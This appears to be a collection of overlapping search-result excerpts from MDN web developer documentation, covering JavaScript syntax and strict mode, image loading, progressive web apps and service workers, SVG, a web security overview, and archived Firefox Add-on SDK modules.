...binary digits after 0b". var flt_signbit = 0b10000000000000000000000000000000; // 2147483648 var flt_exponent = 0b01111111100000000000000000000000; // 2139095040 var flt_mantissa = 0b00000000011111111111111111111111; // 8388607 octal octal number syntax uses a leading zero followed by a lowercase or uppercase latin letter "o" (0o or 0o). because this syntax is new in ecmascript 2015, see the browser compatibility table, below. if the digits after the 0o are outside the range (01234567), the following syntaxerror is thrown: "missing octal digits after 0o". var n = 0o755; // 493 var m = 0o644; // 420 // also possible with just a leading zero (see note about decimals above) 0755 0644 hexadecimal hexadecimal number syntax uses a leading zero followed by a lowercase or uppercase latin lett...
delete operator - JavaScript
re expression should evaluate to a property reference, e.g.: delete object.property delete object['property'] parameters object the name of an object, or an expression evaluating to an object. property the property to delete. return value true for all cases except when the property is an own non-configurable property, in which case, false is returned in non-strict mode. exceptions throws typeerror in strict mode if the property is an own non-configurable property. description unlike what common belief suggests (perhaps due to other programming languages like delete in c++), the delete operator has nothing to do with directly freeing memory. memory management is done indirectly via breaking references. see the memory management page for more details. the delete operator removes...
...ject.defineproperty(globalthis, 'variable2', { value: 10, configurable: false, }); // syntaxerror in strict mode. console.log(delete variable1); // true // syntaxerror in strict mode. console.log(delete variable2); // false function func(param) { // syntaxerror in strict mode. console.log(delete param); // false } // syntaxerror in strict mode. ...
...log(delete variable1); // true // syntaxerror in strict mode. console.log(delete variable2); // false function func(param) { // syntaxerror in strict mode. console.log(delete param); // false } // syntaxerror in strict mode. console.log(delete func); // false cross-browser notes although ecmascript makes iteration order of objects implementation-dependent, it may appear that all major browsers support an iteration order based on the earliest added property coming first (at least for properties not on the prototype). however, in the case of internet explorer, when one uses delete on a property, some confusing behavior results, preventing other browsers from using simple objects like object literals as ordered associative arrays. in explorer, while the property value is indeed set to ...
...e object literals as ordered associative arrays. in explorer, while the property value is indeed set to undefined, if one later adds back a property with the same name, the property will be iterated in its old position--not at the end of the iteration sequence as one might expect after having deleted the property and then added it back. if you want to use an ordered associative array in a cross-browser environment, use a map object if available, or simulate this structure with two separate arrays (one for the keys and the other for the values), or build an array of single-property objects, etc. examples // creates the property adminname on the global scope. adminname = 'xyz'; // creates the property empcount on the global scope. // since we are using var, this is marked as non-configurable...
Transitioning to strict mode - JavaScript
this article aims at providing guidance for developers. gradual transition strict mode has been designed so that the transition to it can be made gradually. it is possible to change each file individually and even to transition code to strict mode down to the function granularity. ...
...iteral {a: 1, b: 3, a: 7} this is no longer the case in ecmascript 2015 (bug 1041128). declaring two function parameters with the same name function f(a, b, b) {} these errors are good, because they reveal plain errors or bad practices. they occur before the code is running. new runtime errors javascript used to silently fail in contexts where what was done was an error. strict mode throws in such cases. if your code base contains such cases, testing will be necessary to be sure nothing is broken. once again, it can happen at the function granularity level. setting a value to an undeclared variable function f(x) { 'use strict'; var a = 12; b = a + x * 35; // error! } f(42); this used to change a value on the global object which is rarely the expected effect. if you really...
...nction f(x) { 'use strict'; var a = 12; global.b = a + x * 35; } f(42); trying to delete a non-configurable property 'use strict'; delete object.prototype; // error! in non-strict, this would silently fail, in contradiction with the user expectation. poisoned arguments and function properties accessing arguments.callee, arguments.caller, anyfunction.caller, or anyfunction.arguments throws an error in strict mode. the only legitimate use case would be to reuse a function as in: // example taken from vanillajs: http://vanilla-js.com/ var s = document.getelementbyid('thing').style; s.opacity = 1; (function() { if ((s.opacity-=.1) < 0) s.display = 'none'; else settimeout(arguments.callee, 40); })(); which can be rewritten as: 'use strict'; var s = document.getelementbyi...
... scope from which it was called. also, of course, in strict mode, the string is evaluated with strict mode rules. thorough testing will need to be performed to make sure nothing breaks. not using eval if you don't really need it may be another pragmatic solution. strictness-neutral code a potential "downside" of moving strict code to strict mode is that the semantics may be different in legacy browsers which do not implement strict mode. in some rare occasions (like bad concatenation or minification), your code also may not run in the mode you wrote and tested it in. here are the rules to make your code strictness-neutral: write your code as strict and make sure no strict-only errors (from the above "new runtime errors" section) are thrown. stay away from semantic differences eval:...
JavaScript
javascript (js) is a lightweight, interpreted, or just-in-time compiled programming language with first-class functions. while it is most well-known as the scripting language for web pages, many non-browser environments also use it, such as node.js, apache couchdb and adobe acrobat. javascript is a prototype-based, multi-paradigm, single-threaded, dynamic language, supporting object-oriented, imperative, and declarative (e.g. functional programming) styles. read more about javascript. ...
...ng object-oriented, imperative, and declarative (e.g. functional programming) styles. read more about javascript. this section is dedicated to the javascript language itself, and not the parts that are specific to web pages or other host environments. for information about api specifics to web pages, please see web apis and dom. the standard for javascript is ecmascript. as of 2012, all modern browsers fully support ecmascript 5.1. older browsers support at least ecmascript 3. on june 17, 2015, ecma international published the sixth major version of ecmascript, which is officially called ecmascript 2015, and was initially referred to as ecmascript 6 or es6. since then, ecmascript standards are on yearly release cycles. this documentation refers to the latest draft version, which is currently...
...fore initializing it. it is a restricted variant of ecmascript 5, for faster performance and easier debugging. javascript typed arrays javascript typed arrays provide a mechanism for accessing raw binary data. memory management memory life cycle and garbage collection in javascript. concurrency model and event loop javascript has a concurrency model based on an "event loop". reference browse the complete javascript reference documentation. standard objects get to know standard built-in objects array, boolean, date, error, function, json, math, number, object, regexp, string, map, set, weakmap, weakset, and others. expressions and operators learn more about the behavior of javascript's operators instanceof, typeof, new, this, the operator precedence, and more. statements and d...
...ns and interactive tests, guided by automated assessment. the first 40 lessons are free, and the complete course is available for a small one-time payment. togetherjs collaboration made easy. by adding togetherjs to your site, your users can help each other out on a website in real-time! stack overflow stack overflow questions tagged with "javascript". javascript versions and release notes browse javascript's feature history and implementation status. jsfiddle edit javascript, css, html and get live results. use external resources and collaborate with your team online. plunker plunker is an online community for creating, collaborating on and sharing your web development ideas. edit your javascript, css, html files and get live results and file structure. jsbin js bin is an open-s...
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
this article explains a change that has occured in the way sizes are worked out on web documents when width and height attributes are set on them. this change means that the aspect ratio of the image is calculated by the browser early on and can then be used to correct the size needed to display the image before it has loaded, if css has been applied that causes problems with its display size. read on to find out more. jank problems when loading images in the olden days of web development, it was always seen as a good practice to add width and height attributes to your html <img> elements, so that when browsers first loaded the page, they could put a correctly-sized placeholder box in the layout for each image to appear in when it finally loads. without the width and height attri...
...define an aspect-ratio property and propose the idea of using the width and height attributes to compute layout. fantasai & jen simmons collaborated with emilio, who worked on an experimental implementation to prove it would work. mozilla then brought the idea up in the wicg community group and discussed it further until representatives from chrome were onboard with the idea. ...
...scussed it further until representatives from chrome were onboard with the idea. due to this work, browsers are working on adding a new mechanism for sizing images before the actual image is loaded. firefox has added an internal aspect-ratio property (in version 69 onwards) that applies to replaced elements, and other related elements that accept width and height attributes. this appears in the browser's internal ua stylesheet, similar to the following: img, input[type="image"], video, embed, iframe, marquee, object, table { aspect-ratio: attr(width) / attr(height); } this actually affects any element that acts as a container for complex or mixed visual media — <embed>, <iframe>, <marquee>, <object>, <table>, and <video>, in addition to actual images (<img> and <input type="image">). w...
...o: attr(width) / attr(height); } this actually affects any element that acts as a container for complex or mixed visual media — <embed>, <iframe>, <marquee>, <object>, <table>, and <video>, in addition to actual images (<img> and <input type="image">). when such an element has width and height attributes set on it, its aspect ratio will be calculated before load time, and be available to the browser. note: currently this effect is being limited to actual <img> elements, as applying to other such elements may have undesirable results. see (bug 1583980). when the width/height of an <img> element — as set using html attributes — is overidden using css using something like this: img { max-width: 100%; height: auto } the aspect ratio is then used to calculate the height and therefor...
Using images in HTML - Web media technologies
Web › Media › images
> element is used to embed an image in a webpage. it supports a wide range of attributes that control how the image behaves and allows you to add important information like alt text for people who don't see the image. <picture> the html <picture> element contains zero or more <source> elements and one <img> element which provides versions of an image for different display/device scenarios. the browser considers each child <source> element and chooses the best match among them. css object-fit the object-fit css property sets how the content of a replaced element, such as an <img> or <video>, should be resized to fit its container. object-position the object-position css property specifies the alignment of content in a selected replaced element within the element's box. areas of the bo...
...as of the box which aren't covered by the replaced element's object will show the element's background. background-image the background-image css property sets one or more background images for an element. guides these articles provide guidance on selecting and configuring image types. ...
... other topics related topics that may be of interest. ...
... other topics related topics that may be of interest. ...
Understanding latency - Web Performance
latency, there will be a discernible delay between the time that a request is sent, and the resources are returned. we can determine the amount of latency by measuring the speed with which the data moves from one network location to another. ...
... resources are returned. we can determine the amount of latency by measuring the speed with which the data moves from one network location to another. latency can be measured one way, for example, the amount of time it takes to send a request for resources, or the length of the entire round-trip from the browser’s request for a resource to the moment when the requested resource arrives at the browser. ...
...th of the entire round-trip from the browser’s request for a resource to the moment when the requested resource arrives at the browser. network throttling to emulate the latency of a low bandwidth network, you can use developer tools and switch to a lower end network connection. in the developer tools, under the network table, you can switch the throttling option to 2g, 3g, etc. different browser developer tools have different preset options, the characteristics emulated include download speed, upload speed, and minimum latency, or the minimum amount of type it takes to send a packet of data. the approximate values of some presets include: selection download speed upload speed minimum latency (ms) gprs 50 kbps 20 kbps 500 regular 2g 2...
... network timings also, on the network tab, you can see how long each request took to complete. we can look at how long a 267.5kb svg image asset took to download. when a request is in a queue, waiting for a network connection it is considered blocked. blocking happens when there are too many simultaneous connections made to a single server over http. if all connections are in use, the browser can't download more resources until a connection is released, meaning those requests and resources are blocked. dns resolution is the time it took to do the dns lookup. the greater the number of hostnames, the more dns lookups need to be done. connecting is the time it takes for a tcp handshake to complete. like dns, the greater the number of server connections needed, the more time is spend ...
Progressive loading - Progressive web apps (PWAs)
efinitions to all the possible styles of every version of the site: mobile, tablet, desktop, print only, etc. it is faster to load all that information as one file rather than many small ones, but if the user doesn't need everything at the very beginning, we could load only what's crucial and then manage other resources when needed. render-blocking resources bundling is a problem, because the browser has to load the html, css, and javascript before it can paint their rendered results onto the screen. during the few seconds between initial website access and completion of loading, the user sees a blank page, which is a bad experience. to fix that we can, for example, add defer to javascript files: <script src="app.js" defer></script> they will be downloaded and executed after the documen...
...hat we can, for example, add defer to javascript files: <script src="app.js" defer></script> they will be downloaded and executed after the document itself has been parsed, so it won't block rendering the html structure. we can also split css files and add media types to them: <link rel="stylesheet" href="style.css"> <link rel="stylesheet" href="print.css" media="print"> this will tell the browser to load them only when the condition is met. in our js13kpwa demo app, the css is simple enough to leave it all in a single file with no specific rules as to how to load them. we could go even further and move everything from style.css to the <style> tag in the <head> of index.html — this would improve performance even more, but for the readability of the example we will skip that approach t...
...hould use tools or services similar to tinypng, which will reduce the file size of your images without altering the quality too much. if you're past that point, then you can start thinking about optimizing the image loading using javascript. we'll expain this below. placeholder image instead of having all the screenshots of games referenced in <img> element src attributes, which will force the browser to download them automatically, we can do it selectively via javascript. the js13kpwa app uses a placeholder image instead, which is small and lightweight, while the final paths to target images are stored in data-src attributes: <img src='data/img/placeholder.png' data-src='data/img/slug.jpg' alt='name'> those images will be loaded via javascript after the site finishes building the html st...
...er files split into modules, use of placeholders, and loading more content on demand — this will help achieve faster initial load times, which brings benefits to the app creator and offers a smoother experience to the user. remember about the progressive enhancement approach — offer a usable product no matter the device or platform, but be sure to enrich the experience to those using modern browsers. final thoughts that's all for this tutorial series — we went through the source code of the js13kpwa example app and learned about the use of progressive web apps features including an introduction, pwa structure, offline availability with service workers, installable pwas, and finally notifications. we also explained push with help from the service worker cookbook. and in this article, w...
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
we’ve seen what the structure of js13kpwa looks like and have seen the basic shell up and running, let's look at how the offline capabilities using service worker are implemented. in this article, we look at how it is used in our js13kpwa example (see the source code also). we examine how to add offline functionality. service workers explained service workers are a virtual proxy between the browser and the network. they finally fix issues that front-end developers have struggled with for years — most notably how to properly cache the assets of a website and make them available when the user’s device is offline. they run on a separate thread from the main javascript code of our page, and don't have any access to the dom structure. this introduces a different approach from traditional ...
... first" — pattern is the most popular strategy for serving content to the user. if a resource is cached and available offline, return it first before trying to download it from the server. if it isn’t in the cache already, download it and cache it for future usage. "progressive" in pwa when implemented properly as a progressive enhancement, service workers can benefit users who have modern browsers that support the api by providing offline support, but won't break anything for those using legacy browsers. service workers in the js13kpwa app enough theory — let's see some source code! registering the service worker we'll start by looking at the code that registers a new service worker, in the app.js file: note : we're using the es6 arrow functions syntax in the service worker imple...
...its contents reside in the sw.js file, and can be executed after the registration is successful. it's the only piece of service worker code that sits inside the app.js file; everything else that is service worker-specific is written in the sw.js file itself. lifecycle of a service worker when registration i...
... other use cases serving files from cache is not the only feature service worker offers. if you have heavy calculations to do, you can offload them from the main thread and do them in the worker, and receive results as soon as they are available. performance-wise, you can prefetch resources that are not needed right now, but might b...
Progressive web apps (PWAs)
progressive web apps are a useful design pattern, though they aren't a formalized standard. pwa can be thought of as similar to ajax or other similar patterns that encompass a set of application attributes, including use of specific web technologies and techniques. this set of docs tells you all you need to know about them. in order to call a web app a pwa, technically speaking it should have the following features: secure contexts (https), one or more service workers, and a manifest file. ...
...secure site is not only a best practice, but it also establishes your web application as a trusted site especially if users need to make secure transactions. most of the features related to a pwa such as geolocation and even service workers are available only once the app has been loaded using https. service workers a service worker is a script that allows intercepting and control of how a web browser handles its network requests and asset caching. with service workers, web developers can create reliably fast web pages and offline experiences. manifest file a json file that controls how your app appears to the user and ensures that progressive web apps are discoverable. it describes the name of the app, the start url, icons, and all of the other details necessary to transform the website i...
...network independent, progressive, re-engageable, responsive, and safe. to find out more about what these mean, read progressive web app advantages. to find out how to implement pwas, read through our pwa developer guide. documentation <-- the temporary automatic list below will be replaced soon --> add to home screenadd to home screen (or a2hs for short) is a feature available in modern browsers that allows a user to "install" a web app, ie. add a shortcut to their home screen representing their favorite web app (or site) so they can subsequently access it with a single tap. this guide explains how a2hs is used, and what you need to do as a developer to allow your users to take advantage of it.how to make pwas installablein this article, we learned about how we can make pwas installab...
...o they can subsequently access it with a single tap. this guide explains how a2hs is used, and what you need to do as a developer to allow your users to take advantage of it.how to make pwas installablein this article, we learned about how we can make pwas installable with a properly-configured web manifest, and how the user can then install the pwa with the "add to home screen" feature of their browser.how to make pwas re-engageable using notifications and pushhaving the ability to cache the contents of an app to work offline is a great feature. allowing the user to install the web app on their home screen is even better. but instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver new content whenever it is availabl...
dominant-baseline - SVG: Scalable Vector Graphics
ble font-size. some values of the property re-determine all three values. others only re-establish the baseline-table font-size. when the initial value, auto, would give an undesired result, this property can be used to explicitly set the desired scaled-baseline-table. if there is no baseline table in the nominal font, or if the baseline table lacks an entry for the desired baseline, then the browser may use heuristics to determine the position of the desired baseline. note: as a presentation attribute, dominant-baseline can be used as a css property. see css dominant-baseline for further information. as a presentation attribute, it can be applied to any element but it only has effect on the text content elements, including: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, bod...
... mathematical. the baseline-table font-size is changed to the value of the font-size attribute on this element. text-after-edge the baseline-identifier for the dominant-baseline is set to be text-after-edge. the derived baseline-table is constructed from the defined baselines in a baseline-table in the font. ...
...the baseline-table font-size is changed to the value of the font-size attribute on this element. text-top this value uses the top of the em box as the baseline. ...
...ipt, no-change, and reset-size. css inline layoutthe definition of 'dominant-baseline' in that specification. working draft removed the values use-script, no-change, and reset-size and introduced the text-top value. scalable vector graphics (svg) 1.1 (second edition)the definition of 'dominant-baseline' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdominant-baselinechrome ...
<a> - SVG: Scalable Vector Graphics
Web › SVG › Element › a
, text svg|a { fill: blue; /* even for text, svg uses fill over color */ text-decoration: underline; } svg|a:hover, svg|a:active { outline: dotted 1px blue; } since this element shares its tag name with html's <a> element, selecting a with css or queryselector may apply to the wrong kind of element. try the @namespace rule to distinguish the two. attributes download instructs browsers to download a url instead of navigating to it, so the user will be prompted to save it as a local file. value type: <string> ; default value: none; animatable: no href the url or url fragment the hyperlink points to. value type: <url> ; default value: none; animatable: yes hreflang the human language of the url or url fragment that the hyperlink points to. value type: <string> ; default...
...o href the url or url fragment the hyperlink points to. value type: <url> ; default value: none; animatable: yes hreflang the human language of the url or url fragment that the hyperlink points to. value type: <string> ; default value: none; animatable: yes ping a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background). typically used for tracking. for a more widely-supported feature addressing the same use cases, see navigator.sendbeacon(). value type: <list-of-urls> ; default value: none; animatable: no referrerpolicy which referrer to send when fetching the url. value type: no-referrer|no-referrer-when-downgrade|same-origin|origin|strict-origin|origin-when-cross-origin|strict-orig...
...lue: none; animatable: yes target where to display the linked url. value type: _self|_parent|_top|_blank|<name> ; default value: _self; animatable: yes type a mime type for the linked url. value type: <string> ; default value: none; animatable: yes xlink:href deprecated since svg 2 the url or url fragment that the hyperlink points to. may be required for backwards compatibility for older browsers. value type: <url> ; default value: none; animatable: yes global attributes core attributes most notably: id, lang, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably:...
...ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <...
Tools for SVG - SVG: Scalable Vector Graphics
on older or smaller devices, chances are that svg tiny is supported. inkscape url: www.inkscape.org one of the most important tools for a graphics format is a decent drawing program. inkscape offers state-of-the-art vector drawing, and it's open source. moreover, it uses svg as its native file format. ...
...svg pretty printer to format svg files, and a truetype-to-svg-font converter. together with apache fop batik can transform svg to pdf. other renderers several projects exist that can create a raster image from an svg source. imagemagick is one of the most famous command-line image processing tools. the gnome library rsvg is used by the wikipedia to raster their svg graphics. usage of headless browsers such as slimerjs and phantomjs are also popular for this purpose, as the image produced is closer to what the svg will look like in the browser. raphael js url: raphaeljs.com this is a javascript library, that acts as an abstraction layer between browser implementations. notably older versions of internet explorer are supported by generating vml, a vector markup language, that is one of two...
... google docs url: www.google.com/google-d-s/drawings/ drawings from google docs can be exported as svg. ...
...r are supported by generating vml, a vector markup language, that is one of two ancestors of svg and exists since ie 5.5. snap.svg url: snapsvg.io a newer javascript abstraction layer from the same author of raphael js. snap.svg is designed for modern browsers and therefore supports the newest svg features like masking, clipping, patterns, full gradients, groups. it does not support the older browsers that raphael does. google docs url: www.google.com/google-d-s/drawings/ drawings from google docs can be exported as svg. science the well-known plotting tools xfig and gnuplot both support exporting as svg. to render graphs on the web jsxgraph supports vml, svg and canvas, automatically deciding which technology to use based on browser capabilities. in gis (geographic information sys...
Web security
ture algorithms the strength of the hash algorithm used in signing a digital certificate is a critical element of the security of the certificate. this article provides some information about signature algorithms known to be weak, so you can avoid them when appropriate. redirection with 301 and 302 response codes to be written data security using http cookies an http cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser. the browser may store it and send it back with later requests to the same server. typically, it's used to tell if two requests came from the same browser — keeping a user logged-in, for example. local storage the window object's window.localstorage property is a way for servers to store data on a client that is ...
...ite maps to be written integrity same-origin policy the same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. it helps isolate potentially malicious documents, reducing possible attack vectors. subresource integrity subresource integrity (sri) is a security feature that enables browsers to verify that resources they fetch (for example, from a cdn) are delivered without unexpected manipulation. it works by allowing you to provide a cryptographic hash that a fetched resource must match. http access-control-allow-origin the access-control-allow-origin response header indicates whether the response can be shared with requesting code from the given origin. http x-content-type-o...
... be followed. this is a way to opt out of mime type sniffing, or, in other words, to say that the mime types are deliberately configured. clickjacking protection in clickjacking, a user is fooled into clicking on a ui element that performs some action other than what the user expects. http x-frame-options the x-frame-options http response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>, <iframe>, <embed> or <object>. sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites. csp: frame-ancestors the http content-security-policy (csp) frame-ancestors directive specifies valid parents that may embed a page using <frame>, <iframe>, <object>, <embed>, or <applet>. user info...
...rds serving login forms over http is especially dangerous because of the wide variety of attacks that can be used against them to extract a user’s password. network eavesdroppers could steal a user's password by sniffing the network, or by modifying the served page in transit. privacy and the :visited selector before about 2010, the css :visited selector allowed websites to uncover a user's browsing history and figure out what sites the user had visited. to mitigate this problem, browsers have limited the amount of information that can be obtained from visited links. security-related glossary terms block cipher mode of operation certificate authority challenge-response authentication cipher cipher suite ciphertext cors cors-safelisted req...
2015 MDN Fellowship Program - Archive of obsolete content
cts (we encourage you to target one of these in your application): testthewebforward brief project description mozilla participates in an important w3c open testing initiative, testthewebforward.com. to support our efforts, the fellow will review various technical specifications to identify gaps between the documentation and current situation and refine existing tests to adapt to this cross-browser test harness. activities and deliverables identify gaps between existing documentation and current development environments. the work would entail refining existing tests to adapt to this framework. required skills and experience experience and comfort writing javascript test scripts. mentor information josh matthews, mozilla platform group. github: jdm twitter: @lastontheboat service...
.... the work would entail refining existing tests to adapt to this framework. required skills and experience experience and comfort writing javascript test scripts. mentor information josh matthews, mozilla platform group. github: jdm twitter: @lastontheboat service workers brief project description service workers essentially act as proxy servers that sit between web applications, the browser and (when available) the network. they enable the creation of effective offline experiences and wiill also allow access to push notifications and background sync apis. activities and deliverables write a demonstration web application (new or existing) to showcase service worker functionality. provide detailed api descriptions. required skills and experience experienced web developer with ex...
...irect3d apis. command of javascript and module systems preferred. mentor information nick desaulniers, sleeps at desk. github: nickdesaulniers twitter: @lostoracle web app performance brief project description web performance is a feature that needs to be considered from serving content to rendering to interactivity. finding and addressing performance bottlenecks depends on tooling the browser networking and rendering but also, often more important, user perception. activities and deliverables help us develop a curriculum on mdn for teaching developers to master performance tooling and to develop web apps with performance as a feature. required skills and experience experienced web developer with expertise in javascript, css, html. knowledge of server-side development, caching an...
selection - Archive of obsolete content
ct', mylistener); // you can remove listeners too. selection.removelistener('select', mylistener); iterating over discontiguous selections discontiguous selections can be accessed by iterating over the selection module itself. each iteration yields a selection object from which text, html, and iscontiguous properties can be accessed. private windows if your add-on has not opted into private browsing, then you won't see any selections made in tabs that are hosted by private browser windows. to learn more about private windows, how to opt into private browsing, and how to support private browsing, refer to the documentation for the private-browsing module. examples log the current contiguous selection as text: var selection = require("sdk/selection"); if (selection.text) console.log(s...
...n.html = "\\\" + selection.html + "///"; }); globals properties text gets or sets the current selection as plain text. setting the selection removes all current selections, inserts the specified text at the location of the first selection, and selects the new text. getting the selection when there is no current selection returns null. setting the selection when there is no current selection throws an exception. getting the selection when iscontiguous is true returns the text of the first selection. html gets or sets the current selection as html. setting the selection removes all current selections, inserts the specified text at the location of the first selection, and selects the new text. getting the selection when there is no current selection returns null. setting the selection when ...
...tion when iscontiguous is true returns the text of the first selection. html gets or sets the current selection as html. setting the selection removes all current selections, inserts the specified text at the location of the first selection, and selects the new text. getting the selection when there is no current selection returns null. setting the selection when there is no current selection throws an exception. getting the selection when iscontiguous is true returns the text of the first selection. iscontiguous true if the current selection is a single, contiguous selection, and false if there are two or more discrete selections, each of which may or may not be spatially adjacent. (discontiguous selections can be created by the user with ctrl+click-and-drag.) events select this event ...
High-Level APIs - Archive of obsolete content
unless the documentation explicitly says otherwise, all these modules are "stable": we'll avoid making incompatible changes to them. addon-page create a page that does not contain navigational elements. base64 data encoding and decoding using base64 algorithms. clipboard interact with the system clipboard, setting and getting its contents. context-menu adds items, submenus, and menu separators to the page's context menu. ...
...sient, toaster-style desktop messages to the user. page-mod run scripts in the context of web pages whose url matches a given pattern. page-worker create a permanent, invisible page and access its dom. panel creates transient dialogs to implement part of an add-on's user interface. passwords interact with firefox's password manager to add, retrieve and remove stored credentials. private-browsing check whether a given object is private, so an add-on can respect private browsing querystring utility functions for working with query strings. request make simple network requests. selection get and set text and html selections in the current web page. self access data that is bundled with the add-on, and add-on metadata. simple-prefs store preferences across application r...
... query the add-on's environment and access arguments passed to it. tabs open, manipulate, and access tabs, and receive tab events. timers set one-off and periodic timers. ui provides access to button, toolbar, and sidebar ui objects. url construct, validate, and parse urls. widget create a simple user interface for an add-on in firefox's add-on bar. windows enumerate and examine open browser windows, open new windows, and listen for window events. ...
frame/utils - Archive of obsolete content
experimental provides helper functions for working with platform internals like frames and browsers. usage module exports create function that takes the nsidomdocument of a privileged document and creates a browser element in its documentelement: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,foo'); let frame = create(window.document); optionally create can be passed set of options to configure created frame even further. execution of scripts may easily be enabled: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,top'); let frame = create(window.document, { uri: 'data:text/html,<script>console.log("running");</script>', allowjavascr...
...eated frame even further. execution of scripts may easily be enabled: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,top'); let frame = create(window.document, { uri: 'data:text/html,<script>console.log("running");</script>', allowjavascript: true }); } globals functions create(document, options) creates a xul browser element in a privileged document. parameters document : nsidomdocument options : object optional options: name type type string string that defines access type of the document loaded into it. defaults to "content". for more details and other possible values see documentation on mdn uri string uri of the document to be loaded ...
... ...
ui/sidebar - Archive of obsolete content
you specify its content using html, css, and javascript, and the user can show or hide it in the same way they can show or hide the built-in sidebars. usage creating, showing, and hiding sidebars you construct a sidebar object using the sidebar() constructor. once you've done that, you can show the sidebar by calling the sidebar's show() method. ...
...debar() constructor. once you've done that, you can show the sidebar by calling the sidebar's show() method. if a new window is opened from a window that has a sidebar visible, the new window gets a sidebar, too. you can hide the sidebar by calling its hide() method. called with no arguments, show() and hide() will operate on the currently active window. from firefox 33 onwards you can pass a browserwindow into these methods, and they will then operate on the specified window. alternatively, the view->sidebar submenu in firefox will contain a new item which the user can use to show or hide the sidebar: the sidebar generates a show event when it is shown and a hide event when it is hidden. once you've finished using the sidebar you can destroy it by calling its dispose() method. to show ...
...ar's hide event. sidebar the sidebar object. once a sidebar has been created it can be shown and hidden in the active window using its show() and hide() methods. once a sidebar is no longer needed it can be destroyed using dispose(). methods dispose() destroys the sidebar. once destroyed, the sidebar can no longer be used. show(window) displays the sidebar. parameters window : browserwindow the window in which to show the sidebar, specified as a browserwindow. this parameter is optional. if it is omitted, then the sidebar will be shown in the currently active window. this parameter is new in firefox 33. hide(window) hides the sidebar. parameters window : browserwindow the window for which to hide the sidebar, specified as a browserwindow. this parameter is optional. if...
Storing annotations - Archive of obsolete content
n, try the action button or toggle button apis, and for a more complex widget try the toolbar or sidebar apis. now we are able to create annotations, let's store them using the simple-storage module. in this chapter we will cover three topics relating to persistent storage: using simple-storage to persist objects handling exhaustion of the storage quota allocated to you respecting private browsing storing new annotations in this section we are only touching the main.js file. first, import the simple-storage module with a declaration like: var simplestorage = require('sdk/simple-storage'); in the module scope, initialize an array which will contain the stored annotations: if (!simplestorage.storage.annotations) simplestorage.storage.annotations = []; now we'll add a function to...
...lection-text') .text(storedannotation.anchortext); annotationhtml.find('.annotation-text') .text(storedannotation.annotationtext); annotationlist.append(annotationhtml); }); }); it builds the dom for the panel from the array of annotations it is given. the user will be able to click links in the panel, but we want to open them in the main browser window rather than the panel. so the content script binds a click handler to the links which will send the url to the add-on. save this file in data/list as annotation-list.js. annotation list html and css here's the html for the annotation list: <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>saved annotations</title> <link rel="stylesheet" ...
...a notification to alert the user, we need to import the notifications module: var notifications = require("sdk/notifications"); (it should be obvious that this is an incredibly unhelpful way to deal with the problem. a real add-on should give the user a chance to choose which data to keep, and prevent the user from adding any more data until the add-on is back under quota.) respecting private browsing since annotations record the user's browsing history we should avoid recording annotations in private windows. there's a very simple way to do this: do nothing. by omitting the "private-browsing" key from the annotator's "package.json" file, the annotator opts out of private browsing altogether. this means that its widget will not appear on any private windows and its selector and matcher c...
Creating Reusable Modules - Archive of obsolete content
picker to let the user select a file we'll use nsifilepicker. the documentation for that interface includes an example which we can adapt like this: var {cc, ci} = require("chrome"); function promptforfile() { const nsifilepicker = ci.nsifilepicker; var fp = cc["@mozilla.org/filepicker;1"] .createinstance(nsifilepicker); var window = require("sdk/window/utils").getmostrecentbrowserwindow(); fp.init(window, "select a file", nsifilepicker.modeopen); fp.appendfilters(nsifilepicker.filterall | nsifilepicker.filtertext); var rv = fp.show(); if (rv == nsifilepicker.returnok || rv == nsifilepicker.returnreplace) { var file = fp.file; // get the path as string. note that you usually won't // need to work with the string paths. var path = fp.file.path; ...
...ile const pr_uint32_max = 0xffffffff; ch.updatefromstream(istream, pr_uint32_max); // pass false here to get binary data back var hash = ch.finish(false); // convert the binary hash data to a hex string. ...
...first create a new file in "lib" called "filepicker.js". copy the file picker code into this new file, and add the following line at the end: exports.promptforfile = promptforfile; this defines the public interface of the new module. ...
Getting started (cfx) - Archive of obsolete content
ck(state) { tabs.open("https://www.mozilla.org/"); } save the file. next, save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png back at the command prompt, type: cfx run this is the sdk command to run a new instance of firefox with your add-on installed. when firefox launches, in the top-right corner of the browser you'll see an icon with the firefox logo. click the icon, and a new tab will open with https://www.mozilla.org/ loaded into it. that's all this add-on does. it uses two sdk modules: the action button module, which enables you to add buttons to the browser, and the tabs module, which enables you to perform basic operations with tabs. in this case, we've created a button whose icon is the firefo...
